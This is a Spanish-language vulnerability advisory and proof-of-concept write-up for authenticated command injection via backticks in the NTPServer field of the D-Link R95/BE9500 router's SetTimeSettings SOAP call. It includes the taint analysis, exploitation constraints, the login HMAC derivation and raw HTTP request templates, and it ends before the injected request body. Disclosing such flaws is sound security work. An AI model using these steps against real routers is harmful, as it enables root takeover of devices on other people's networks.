
PoC de inyección de comandos autenticada para D-Link R95/BE9500 DHMAPI SetTimeSettings, logrando RCE como root mediante inyección de backticks en NTPServer, con script de exploit completo.
El D-Link R95 BE9500 Wi-Fi 7 Smart Router (versión de firmware BE9500_1.00.16) contiene una vulnerabilidad de inyección de comandos en la interfaz DHMAPI (SOAP sobre HTTPS) al procesar solicitudes SetTimeSettings. El campo <NTPServer> controlado por el usuario se almacena en la base de datos de configuración sin ninguna sanitización ni validación de metacaracteres de shell. Posteriormente, cuando la configuración se sincroniza con UCI (ntpclient.@ntpserver[0].hostname), el servicio backend vulnerable construye y ejecuta un comando de shell encerrado entre comillas dobles mediante una llamada tipo system(). Al inyectar backticks (```) en el valor de <NTPServer>, un atacante puede lograr sustitución de comandos — el shell evalúa el contenido inyectado antes de ejecutar el comando concatenado, permitiendo la ejecución arbitraria de comandos con privilegios de root (uid=0).
El ataque requiere una sesión válida de gestión web (sid) obtenida mediante acceso autenticado (probado con la cuenta de administrador Admin). Esta vulnerabilidad se ve además amplificada por las credenciales predeterminadas débiles del dispositivo o posibles problemas de omisión de autenticación, lo que expande significativamente la superficie de ataque en el mundo real.
Un atacante autenticado puede ejecutar comandos arbitrarios con privilegios de root, lo que conlleva el compromiso total del dispositivo — incluyendo la lectura de archivos sensibles (p. ej., el texto cifrado /etc/rg_config/admin, el volcado de copias de seguridad completas de la configuración), la instalación de puertas traseras persistentes, el establecimiento de shells inversas y el pivoteo hacia la red interna para ataques de movimiento lateral.
La vulnerabilidad reside en el binario del backend de gestión web /bin/ssi (que se ejecuta como root), el cual implementa la interfaz SOAP DHMAPI.
Origen de la contaminación (taint source) — el manejador de SetTimeSettings (función en el offset 0x6bd84 en ssi, firmware 1.01B06):
<NTPServer> de la solicitud SOAP hacia un búfer de pila, con longitud limitada a 0x3f (63 bytes) — esto es un límite de tamaño de búfer, no una comprobación de seguridad.time.value.NTPServer mediante un setter interno — no se realiza ningún filtrado ni escape de metacaracteres de shell en ningún momento.Destino de la contaminación (taint sink) — sincronización de la configuración con UCI. ssi sincroniza los valores de configuración concatenándolos en cadenas de comandos de shell ejecutadas mediante llamadas tipo system(). Entre las cadenas de formato incrustadas que se encuentran en el binario se incluye:
uci set %s="%s" > /dev/null
Dado que el valor está envuelto en comillas dobles, el shell realiza sustitución de comandos sobre los backticks (`) / $() dentro del valor antes de ejecutar el comando concatenado. Como ssi se ejecuta como root, el comando inyectado se ejecuta con privilegios de root.
La evidencia temporal confirma que la evaluación ocurre de forma síncrona dentro de la ruta de manejo de la solicitud: inyectar `sleep 10` retrasa la respuesta HTTP ~10 segundos. El valor envenenado además persiste en UCI (ntpclient.@ntpserver[0].hostname) y posteriormente es consumido sin comillas por /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME), una brecha de endurecimiento secundaria.
Restricciones de explotación (verificadas):
| Restricción | Resultado verificado |
|---|---|
| Longitud del campo | ≤ 63 bytes aceptados; 60 bytes OK, 80 bytes rechazados (HTTP 400) |
Carácter & | No debe aparecer (rompe la línea de comando concatenada) |
| Sintaxis de inyección | Backticks `cmd` verificados; se espera que $(cmd) funcione igual |
| Contexto de ejecución | uid=0(root) gid=0(root) |
| Canal de salida | Sin eco directo; redirigir a la raíz web (> /www/<file>) y recuperar mediante HTTP GET |
Todas las solicitudes DHMAPI deben incluir:
Cookie: uid=<session cookie> (de la autenticación)API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>API-ACTION / SOAPAction que coincidan con la acción SOAP, además de User-Agent y Referer (la ausencia de UA/Referer produce HTTP 400/500)ts es una marca de tiempo en milisegundos; el dispositivo no valida la frescura, por lo que un valor fijo es reutilizableDerivación de privkey:
Login / Action=request (firmado con la cadena de clave estática withoutloginkey) devuelve Challenge, Cookie, PublicKey, SaltHashe = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (o la contraseña en texto plano cuando SaltHash está ausente)privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))Login / Action=login con lo anterior devuelve <LoginResult>success</LoginResult>; las solicitudes posteriores usan Cookie: uid=<step-1 Cookie> firmadas con privkeyPOST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>
Esperado: <LoginResult>success</LoginResult>.

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close